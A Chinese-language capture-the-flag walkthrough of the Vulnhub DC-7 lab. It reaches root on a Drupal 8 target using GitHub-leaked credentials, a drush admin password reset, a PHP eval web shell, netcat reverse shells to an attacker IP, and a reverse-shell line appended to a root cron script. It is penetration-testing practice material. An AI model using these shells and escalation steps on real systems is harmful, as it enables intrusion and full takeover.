Vulnhub靶機介紹
Vulnhub是個提供各種漏洞平臺的綜合靶場,可供下載多種虛擬機器進行練習,本地VM開啟即可,像做遊戲一樣去完成滲透測試、提權、漏洞利用、程式碼審計等等有趣的實戰。
靶機DC7還是隻有拿到root許可權才可以發現最終的flag。
01 環境搭建
靶機環境下載:https://www.vulnhub.com/entry/dc-7,356/
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
While this isn't an overly technical challenge, it isn't exactly easy.
While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
What you will need to do, is to think "outside" of the box.
Waaaaaay "outside" of the box. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.
提示只有一個flag並且不需要暴力破解
02 資訊收集
常規掃描
arp-scan -l
埠掃描
使用nmap對目標靶機開放的埠進行掃描
nmap -Pn -n -sV 192.168.75.159
開啟了ssh(22埠),web服務(80埠)
web服務是drupal 8
這個CMS和DC-1是一樣的,DC-1是drupal 7這個是drupal 8
03 Get Shell
根據網站資訊社工
重新檢視題目資訊,發現有一些提示
這個題目源自一個早期版本
在網站首頁上比以前系列的題目多了一行資訊@DC7USER
搜尋@DC7USER發現在GitHub上有這個賬戶
進入後發現一個staffdb專案,在專案中發現一個帶有賬戶資訊的檔案
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
看程式碼是個資料庫賬號,但是目前沒有可以登入資料庫的介面,嘗試用這個賬戶登入web,失敗,登入ssh成功
獲得web賬戶
查詢使用者的sudo配置,搜尋suid程式都沒有找到能有效提權的方法
在home目錄下有個mbox檔案,和一些備份檔案
看一下mbox檔案發現在/opt/scripts/ 有個可以執行的指令碼檔案 backups.sh
cd /opt/scripts/ #進入目錄
cat backups.sh #檢視檔案
裡面呼叫了drush命令,drush是drupal shell專門管理drupal站點的shell
進入到/var/www/html目錄下,使用drush命令修改admin使用者的密碼為123456
drush user-password admin --password="123456"
使用admin賬戶登入成功
反彈shell
需要反彈shell,登入成功後在Content—>Add content–>Basic page下需要新增一個PHP模板
但是這裡好像不支援php只有html,查了查需要單獨安裝外掛讓它支援php語言
https://www.drupal.org/project/php #外掛下載地址
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz #模組包
有個綠色✔就是成功
然後在首頁進行編輯,新增php木馬程式碼,儲存text format設定為PHP cod然後使用蟻劍進行連線
<?php
@eval($_REQUEST[8]);
?>
然後需要把shell回彈到kali上面
nc 192.168.75.150 4444 -e /bin/sh
開啟監聽nc -lvp 4444回彈成功
設定互動python -c 'import pty;pty.spawn("/bin/bash")'
04 提權
在/opt/scripts目錄下的backups.sh指令碼檔案所屬組是www-data,所以www-data使用者可以對這個指令碼檔案進行操作,並且這個指令碼檔案定時執行可以利用它來反彈shell
因為sh檔案是root執行的,所以返回的也是root許可權
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.75.150 7777 >/tmp/f" >> backups.sh
Kali設定nc -lvp 7777
等待定時任務執行,執行後便獲得rootshell,接著進入互動shell
python -c "import pty;pty.spawn('/bin/bash')"